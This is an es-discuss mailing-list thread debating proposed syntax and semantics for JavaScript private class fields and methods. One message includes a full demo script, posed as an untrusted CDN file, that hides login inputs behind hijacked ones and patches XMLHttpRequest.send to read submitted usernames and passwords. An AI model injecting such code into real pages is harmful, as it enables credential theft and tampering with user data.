EcmaScript Proposal – Private methods and fields proposals.
This is already being worked on:
- Instance private fields/methods: tc39/proposal-class-fields
- Static private fields/methods: tc39/proposal-static-class-features
- Recent TC39 meeting: esdiscuss.org/notes/2018-03-21#10ivb-javascript-classes-11
Isiah Meadows me at isiahmeadows.com
Looking for web consulting? Or a new website? Send me an email and we can get started. www.isiahmeadows.com
This is specifically an alternative to the current proposals around private methods/fields. Specifically motivated by some of the issues discussed in tc39/proposal-private-methods#28
I read that proposal but don't understand what the proposal actually is. At this point it's a bit of syntax with no semantics behind it. What does private(this)[property] do? How do private fields come into existence? How do you prevent them from being forged or stuck onto unrelated objects? What's private about private fields?
Waldemar
The proposal is an explainer with to an alternative sigil-less syntax to back private fields/methods.
What does private(this)[property] do?
"private(this)[property]" and alternatively "private[property]" or "private.property" all invoke access of a private "property" on the "this" instance of the class, symmetrical to the syntax/function nature of both the "super" and "import" keywords.
How do private fields come into existence?
Unless i've misunderstood what is meant by "come into existence" the proposals makes use of the reserved "private" keyword to define private fields i.e "private id = 1".
What's private about private fields?
Outside of a private fields provider class, private fields/methods would not be accessible.
How do you prevent them from being forged or stuck onto unrelated objects?
What do you mean by this?
This matches my initial perceptions of private properties in JS; exactly identical to regular properties but private, which I have not seen preserved in the other proposals.
On 04/13/2018 01:38 AM, Sultan wrote:
The proposal is an explainer with to an alternative sigil-less syntax to back private fields/methods.
What does private(this)[property] do?
"private(this)[property]" and alternatively "private[property]" or "private.property" all invoke access of a private "property" on the "this" instance of the class, symmetrical to thesyntax/function nature of both the "super" and"import" keywords.
How do private fields come into existence?
Unless i've misunderstood what is meant by "come into existence" the proposals makes use of the reserved "private" keyword to define private fields i.e "private id = 1".
I was asking about what creates those fields.
What's private about private fields?
Outside of a private fields provider class, private fields/methods would not be accessible.
How do you prevent them from being forged or stuck onto unrelated objects?
What do you mean by this?
Writing your private field to an object that's not an instance of your class.
class A { private id = ...; private foo = ...; write(value) { private(this)["id"] = value; private(this)["foo"] = ... my private secret that anyone outside the class must not learn ...; } }
and then invoking the above write method with a this value that's not an instance of A, such as a proxy.
Waldemar
I'd imagine that would fail the same way proxies fail on typed arrays.
Writing your private field to an object that's not an instance of your
class.
and then invoking the above write method with a this value that's not an
instance of A, such as a proxy.
Given:
class A { private id = 0; private method(value) { return value; } write(value) { private(this)["id"] = private"method"; } }
I imagine this means trying to do something along the lines of:
(new A()).write.call({}, 'pawned');
This would fail. The private syntax call site would be scoped to the provider class. For example imagine the current possible transpilation of this:
;(function (){ var registry = WeakMap();
function A () { registry.set(this, {id: 0}) } A.prototype.write: function () { registry.get(this)["id"] = registry.get(this.constructor)["method"].call(this, value); }
// shared(i.e private methods) registry.set(A, { method: function (value) { return value; } });
return A })();
Trying to do the the afore-mentioned forge here would currently fail along the lines of cannot read property "id" of "undefined".
Just an item of note: private
is a valid identifier name in sloppy
mode, so your private(this)
and private["foo"]
syntax won't work
without banning it from sloppy.
Isiah Meadows me at isiahmeadows.com
Looking for web consulting? Or a new website? Send me an email and we can get started. www.isiahmeadows.com
Oops...somehow, I forgot about that... :-)
Isiah Meadows me at isiahmeadows.com
Looking for web consulting? Or a new website? Send me an email and we can get started. www.isiahmeadows.com
On 04/13/2018 09:41 PM, Sultan wrote:
Writing your private field to an object that's not an instance of your class. and then invoking the above write method with a this value that's not an instance of A, such as a proxy.
Given:
class A { private id = 0; private method(value) { return value; } write(value) { private(this)["id"] = private"method"; } }
I imagine this means trying to do something along the lines of:
(new A()).write.call({}, 'pawned');
This would fail. The private syntax call site would be scoped to the provider class. For example imagine the current possible transpilation of this:
;(function (){ var registry = WeakMap();
function A () { registry.set(this, {id: 0}) } A.prototype.write: function () { registry.get(this)["id"] = registry.get(this.constructor)["method"].call(this, value); }
// shared(i.e private methods) registry.set(A, { method: function (value) { return value; } });
return A })();
Trying to do the the afore-mentioned forge here would currently fail along the lines of cannot read property "id" of "undefined".
OK, so that aspect of the proposal looks the same as the existing private proposals — an instance has a fixed set of private fields which get created at object creation time. There are tricky additional wrinkles when it comes to inheritance, but you can look them up in the existing proposals.
Are the only significant changes the different property naming syntax and that you provide a way to map strings to private slots? How do you deal with inner nested classes wanting to refer to outer classes' private fields?
Waldemar
An instance has a fixed set of private fields which get created at object
creation time.
The implications of this alternative does not necessarily limit the creation of private fields to creation time, for example writing to a private field in the constructor or at any arbitrary time within the lifecycle of the instance.
class HashTable { constructor() { private[Symbol.for('length')] = 0 } set(key, value) { private[key] = value } get(key) { return private[key] } }
How do you deal with inner nested classes wanting to refer to outer
classes' private fields?
Not sure i understood what you mean by this?
as a javascript web-developer, can someone educate me on how private class methods/fields would make one's life easier (rather than harder) in getting web-projects shipped?
/*
* how is this cited example better than using a plain object in a web-project?
* can someone give actual common problems in
* debugging/integrating/shipping web-projects,
* that private methods/fields could help simplify (rather than complicate)?
*/
class HashTable {
constructor() {
private[Symbol.for('length')] = 0
}
set(key, value) {
private[key] = value
}
get(key) {
return private[key]
}
}
imagine you are shipping a module for use by others, and you don't want to expose internals to consumers. private methods and properties help to know that only the public API is in use, giving confidence in publishing updates or fixes.
another use case is knowing that naughty developers aren't reaching into your module and changing its behaviour.
I'm sure there's more, but those are the ones that come to mind.
can you give actual code-examples of real-world things in web-projects that are worth the effort and cost to proactively hide from web-developers? i suspect for most, just following python design-pattern of prefixing them with '_' or '$' is good enough.
also in a webpage-context, how confident are you that private methods/fields really are "private" and safe from naughty-developers? would you trust private fields/methods enough to allow untrusted code to run alongside your credit-card transaction webpage? for example, here's a live web-demo of a side-channel attack to indirectly modify/read private fields (via jquery from untrusted cdn) [1], with screenshots and full source-code here [2].
its not too difficult to craft these side-channel exploits when a naughty-developer has full-access to your frontend source-code. how many companies/organizations in the world do you think have the resources to audit/harden their frontend-code to ensure private methods/fields really are private and cannot be tinkered with through various side-channel exploits (hijacking dom-inputs, XMLHttpRequest, LocalStorage, IndexedDb, Array-accessors, dependent-subclasses-you-forgot-to-encapsulate, etc)?
[1] "live web-demo" kaizhu256.github.io/tc39-private-field-side-channel-attack-example
[2] "screenshot and full source-code of demo-exploit" tc39/proposal-class-fields#93
/*
* jquery.from.untrusted.cdn.js
*
* this script will indirectly modify/read private-fields by hijacking
dom-inputs and XMLHttpRequest.
* it is custom-crafted for a given webpage's freely available
frontend source-code
*
* live web-demo of it in action at:
* https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
*/
/*jslint
bitwise: true,
browser: true,
maxerr: 4,
maxlen: 100,
node: true,
nomen: true,
regexp: true,
stupid: true
*/
(function () {
'use strict';
var XMLHttpRequestPrototypeSend, consoleLog;
consoleLog = console.log;
console.log = function () {
document.querySelector('#textareaStdout').value +=
Array.from(arguments).join(' ') +
'\n';
consoleLog.apply(console, arguments);
};
// side-channel attack to modify private-fields in hijacked dom-inputs
['inputPassword', 'inputUsername'].forEach(function (element) {
/*
* this function will hide the original dom-inputs from the user,
* and replace them with hijacked ones, that can arbitrarily modify data
*/
var hijackElement;
element = document.querySelector('#' + element);
element.style.display = 'none';
hijackElement = document.createElement('input');
element.parentNode.insertBefore(hijackElement, element);
hijackElement.id = element.id + '2';
hijackElement.type = element.type;
hijackElement.value = element.value;
hijackElement.addEventListener('change', function () {
// arbitrarily modify data and pass it back to original dom-inputs
element.value = hijackElement.value + ' modified!';
});
element.value = element.value + ' modified!';
});
document.querySelector('#inputSubmit').addEventListener('click',
function () {
console.log('hijacked dom-input to modify field
loginInstance.privateUsername=' +
JSON.stringify(document.querySelector('#inputUsername').value));
console.log('hijacked dom-input to modify field
loginInstance.privatePassword=' +
JSON.stringify(document.querySelector('#inputPassword').value)
+ '\n');
});
// side-channel attack to read private-fields from hijacked XMLHttpRequest
XMLHttpRequestPrototypeSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function (data) {
/*
* this function will hijack XMLHttpRequest.prototype.send to
indirectly read private-fields
*/
try {
data = JSON.parse(data);
console.log('hijacked XMLHttpRequest.prototype.send to
read field ' +
'loginInstance.privateUsername=' +
JSON.stringify(data.username));
console.log('hijacked XMLHttpRequest.prototype.send to
read field ' +
'loginInstance.privatePassword=' +
JSON.stringify(data.password) + '\n');
} catch (ignore) {
}
XMLHttpRequestPrototypeSend.apply(this, arguments);
};
console.log('loaded script <script
src="jquery.from.untrusted.cdn.js"></script>');
}());
There's no confidence anything you run on someone else's machine really is "private" in any language (especially with reflection). Nevertheless private members still exist and continue to be used.
On 04/16/2018 05:47 PM, Sultan wrote:
An instance has a fixed set of private fields which get created at object creation time.
The implications of this alternative does not necessarily limit the creation of private fields to creation time, for example writing to a private field in the constructor or at any arbitrary time within the lifecycle of the instance.
That would contradict your previous answer to the hijacking question.
How do you deal with inner nested classes wanting to refer to outer classes' private fields?
Not sure i understood what you mean by this?
Class B is lexically nested inside class A. You want to refer to one of A's privates from within B's body.
Waldemar
That would contradict your previous answer to the hijacking question.
Can you point out the contradiction? The private field is still being written to by the providing class.
Class B is lexically nested inside class A. You want to refer to one of
A's privates from within B's body.
Can you provide an example of what this looks like with the current public/private fields proposals?
On 04/17/2018 01:50 PM, Sultan wrote:
That would contradict your previous answer to the hijacking question.
Can you point out the contradiction? The private field is still being written to by the providing class.
In the transpilation you created the field using
registry.set(this, {id: 0})
in the constructor. If you then claim that any write to the field can also create it, then you get the hijacking behavior which you wrote doesn't happen.
Class B is lexically nested inside class A. You want to refer to one of A's privates from within B's body.
Can you provide an example of what this looks like with the current public/private fields proposals?
They just lexically scope the private names in their own separate namespace. #foo refers to the innermost enclosing class that has a private field called foo.
Waldemar
In the transpilation you created the field using "registry.set(this, {id:
0})"
in the constructor. If you then claim that any write to the field can
also create it, then you get the hijacking behavior which you wrote doesn't happen.
The difference between
class A { private id = 0 }
and
class A { constructor() { private.id = 0 } }
is the likened to the difference between
(function (){ var registry = WeakMap()
function A () { registry.set(this, {id: 0}) }
return A })()
and
(function () { var registry = WeakMap()
function A () { registry.set(this, {}) registry.get(this)["id"] = 0 }
return A })
I don't see how this permits the hijacking behavior previously mentioned, that is –
(new A()).write.call({}, 'pawned');
Would still fail in the same way for both of these variants.
They just lexically scope the private names in their own separate
namespace. #foo refers to the innermost enclosing class that has a private field called foo.
I'm not sure i understand, Does #foo refer to this.#foo? Can you post a fleshed out example of this?
If you don't need them, don't use them. The use for them is three-fold:
- Not trusting people to avoid relying on API implementation details
(think: Node.js
_readableStream
/_writableStream
used so frequently out of core they've ran into issues updating it even in patch releases). - In the face of inheritance, avoiding name collision. (This is a big one at scale, not so much in a 30k web app.)
- Giving engines the ability to better structure object allocation and property access. This is very useful for perf critical scenarios.
Finally, if you don't need them, don't use them. But keep in mind, there is a use case and a need.
To expand in the first, there is some functionality they have had to expose in the public API because people kept reading properties on those two internal stream properties.
Similarly, jQuery has had in the past people relying so much on bugs that they had to turn some of them into features and document them in the source code. It was specifically because so many of these cases were propping up in the source code that they had to fork a new version (2.0) to fix all these bugs without breaking everyone. They also created jQuery Migrate just to help consumers migrate between patches, to notify people of certain bug fixes and minor changes that would otherwise break quite a few people's existing code bases.
Or, in summary, as a library author, if you expose it, even if you don't
document it, or even if you specifically warn people to not rely on it,
people will inevitably find ways to depend on it, making some forms of
bug fixes or other improvements practically impossible. In fact, this
similar concern is why Python introduced its name mangling convention for
self.__foo
private variables - people clashing and/or otherwise relying
of private data. For what it's worth, soft private (accessible via
reflection, like Java, Ruby, etc.) is sufficient if you don't support
subclassing, but it's when you do, that's where you need hard privacy (like
C++, etc.).
And don't forget: not all projects are particularly small, not all JS is simple glue code, and non-browser use cases aren't even obscure. (Slack for desktop is based on Electron, a platform combining Node and Chrome, and both PayPal's and Ebay's entire production backends use Node. Oh, and even NASA has picked it up for a few things on Earth, primarily for data processing at scale.) So if you're going to continue to blast and ignore it, please do your research first and realize they have unique needs themselves.
On 04/17/2018 02:26 PM, Sultan wrote:
In the transpilation you created the field using "registry.set(this, {id: 0})" in the constructor. If you then claim that any write to the field can also create it, then you get the hijacking behavior which you wrote doesn't happen.
The difference between
class A { private id = 0 }
and
class A { constructor() { private.id, private.id = 0 } }
is the likened to the difference between
(function (){ var registry = WeakMap()
function A () { registry.set(this, {id: 0}) }
return A })()
and
(function () { var registry = WeakMap()
function A () { registry.set(this, {}) registry.get(this)["id"] = 0 }
return A })
I don't see how this permits the hijacking behavior previously mentioned, that is –
(new A()).write.call({}, 'pawned');
Would still fail in the same way for both of these variants.
OK; you split creation into two phases. That's fine. Do you limit classes to creating only the private fields declared in the class, or can they create arbitrarily named ones?
They just lexically scope the private names in their own separate namespace. #foo refers to the innermost enclosing class that has a private field called foo.
I'm not sure i understand, Does #foo refer to this.#foo? Can you post a fleshed out example of this?
The full form is expr.#foo, where expr can be this
or some other expression appropriate in front of a dot. The #foo binds to the innermost enclosing class that has a private field called foo. If expr doesn't evaluate to an instance of that class, you fail and throw.
Read the proposals.
Waldemar
Do you limit classes to creating only the private fields declared in the
class, or can they create arbitrarily named ones?
Yes, just as you could write arbitrary named fields with the mentioned WeakMap approach, for example –
[...] private[key] = value [...] private(this)[key] = value [...] registry.get(this)[key] = value
and retrieve arbitrary fields
[...] private[key] [...] private(this)[key] [...] registry.get(this)[key]
The full form is expr.#foo, where expr can be
this
or some other
expression appropriate in front of a dot. The #foo binds to the innermost enclosing class that has a private field called foo. If expr doesn't evaluate to an instance of that class, you fail and throw.
Is this what you meant?
class A { #foo = 1 constructor() { let self = this
this.B = class B {
constructor() {
self.#foo = 2
}
}
} get() { return this.#foo } run(program) { return eval(program) } }
let a = new A() let b = new instance.B()
Would this return 1 or 2 or would the previous statement throw?
console.log(a.get())
Additionally would this work
a.run('this.#foo = 3')
A similar symmetry can be remarked with to:
class A { private foo = 1 constructor() { const self = this
this.B = class B {
constructor() {
private(self)["foo"] = 2
}
}
} get() { return private.foo } ... }
appreciate the detailed counter-response and insight. fyi, electron is a browser.
Welcome. (And I know Electron has all the browser APIs. That was implied with the "combining Node and Chrome" part.)
Isiah Meadows me at isiahmeadows.com
Looking for web consulting? Or a new website? Send me an email and we can get started. www.isiahmeadows.com
On 04/17/2018 05:31 PM, Sultan wrote:
Do you limit classes to creating only the private fields declared in the class, or can they create arbitrarily named ones?
Yes, just as you could write arbitrary named fields with the mentioned WeakMap approach, for example –
[...] private[key] = value [...] private(this)[key] = value [...] registry.get(this)[key] = value
and retrieve arbitrary fields
[...]private[key] [...]private(this)[key] [...]registry.get(this)[key]
The full form is expr.#foo, where expr can be
this
or some other expression appropriate in front of a dot. The #foo binds to the innermost enclosing class that has a private field called foo. If expr doesn't evaluate to an instance of that class, you fail and throw.Is this what you meant?
class A { #foo = 1 constructor() { let self = this
this.B = class B { constructor() { self.#foo = 2 } } } get() { return this.#foo } run(program) { return eval(program) } }
let a = new A() let b = new instance.B()
What's instance? I assume you meant new a.B().
Would this return 1 or 2 or would the previous statement throw?
console.log(a.get())
This would produce 2.
Additionally would this work
a.run('this.#foo = 3')
I have no idea. It depends on how the details of the scope rules for private would work.
Waldemar
[Strawman] Private methods and fields for JavaScript: github. com/thysultan/proposal-private-methods-and-fields
class A { private id = Symbol('unique') equal(instance, property) { return private(this)[property] == private(instance)[property] } } const x = new A() x.equal(x, 'id')